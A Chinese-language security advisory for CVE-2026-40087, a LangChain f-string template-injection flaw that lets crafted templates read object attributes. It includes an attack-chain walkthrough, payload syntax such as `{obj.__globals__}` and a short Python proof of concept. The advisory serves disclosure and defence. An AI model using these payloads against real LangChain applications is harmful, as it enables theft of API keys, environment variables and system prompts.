IPBUF安全漏洞报告
English
CVE-2026-40087 CVSS 5.3 中危

CVE-2026-40087 LangChain f-string模板验证缺失漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-40087
漏洞类型
模板注入
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LangChain

相关标签

模板注入信息泄露LangChainCVE-2026-40087f-string

漏洞概述

LangChain是一个用于构建代理和LLM应用程序的框架。在0.3.84和1.2.28版本之前,其f-string提示模板验证机制存在缺陷。首先,部分提示模板类(如DictPromptTemplate和ImagePromptTemplate)接受f-string模板并在格式化时未强制执行属性访问验证,导致可能评估属性访问或索引表达式。其次,基于解析字段名的验证未能拒绝格式说明符内的嵌套替换字段。攻击者可利用这些漏洞通过特制的提示模板访问敏感对象属性,导致信息泄露。该漏洞已在0.3.84和1.2.28版本中修复。

技术细节

该漏洞的核心在于LangChain对f-string模板的解析和验证逻辑存在绕过。Python的f-string允许在字符串中直接执行表达式,LangChain试图限制这一行为以防止安全风险,但验证机制不完善。具体而言,第一个漏洞点在于`DictPromptTemplate`和`ImagePromptTemplate`在处理模板时,没有像`PromptTemplate`那样严格校验属性访问,攻击者可以构造包含属性链式调用或索引操作的模板字符串。第二个漏洞点在于验证逻辑仅解析了顶层的字段名,忽略了格式说明符内部的嵌套字段(例如`{user:{config.key}}`),这些嵌套字段在运行时仍会被Python执行。利用时,攻击者若能控制提示模板的内容,即可通过构造恶意的f-string语法,读取LangChain运行时上下文中的敏感对象属性,如环境变量、API密钥或内部系统提示词。

攻击链分析

STEP 1
侦察
攻击者确认目标应用使用了存在漏洞的LangChain版本(< 0.3.84 或 < 1.2.28),并确定了应用中存在用户可控的模板输入点。
STEP 2
武器化
攻击者构造包含恶意f-string语法的模板字符串,利用嵌套字段或属性访问(如`{obj.__globals__}`)来绕过LangChain的表层验证。
STEP 3
交付
攻击者将精心构造的恶意模板通过API接口或前端输入提交给应用程序。
STEP 4
利用
应用程序在后台使用`DictPromptTemplate`或`ImagePromptTemplate`等易受攻击的类对模板进行格式化处理。
STEP 5
影响
由于验证缺失,Python解释器执行了模板中的恶意表达式,返回了敏感对象信息(如环境变量、内部配置),导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-40087: LangChain f-string Validation Bypass # This demonstrates how attribute access in DictPromptTemplate # can lead to unintended information disclosure. from langchain_core.prompts import DictPromptTemplate # Scenario: An attacker controls the template string # Vulnerable versions allow attribute access bypassing validation malicious_template = "Extracted Data: {input.__class__.__module__}" # Create a prompt template instance using the vulnerable class prompt = DictPromptTemplate.from_template(malicious_template) # Input data usually provided by the application context user_input = {"input": "harmless_data"} # Formatting the prompt triggers the evaluation of the expression try: result = prompt.format(**user_input) print(f"PoC Result: {result}") # Output might reveal internal module structure or sensitive attributes except Exception as e: print(f"Execution blocked or error: {e}")

影响范围

LangChain < 0.3.84
LangChain < 1.2.28

防御指南

临时缓解措施
如果无法立即升级,应严格审查和过滤所有传入的提示模板字符串,确保不包含大括号`{}`或特定的Python关键字,避免将不可信的用户输入直接用作f-string模板。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表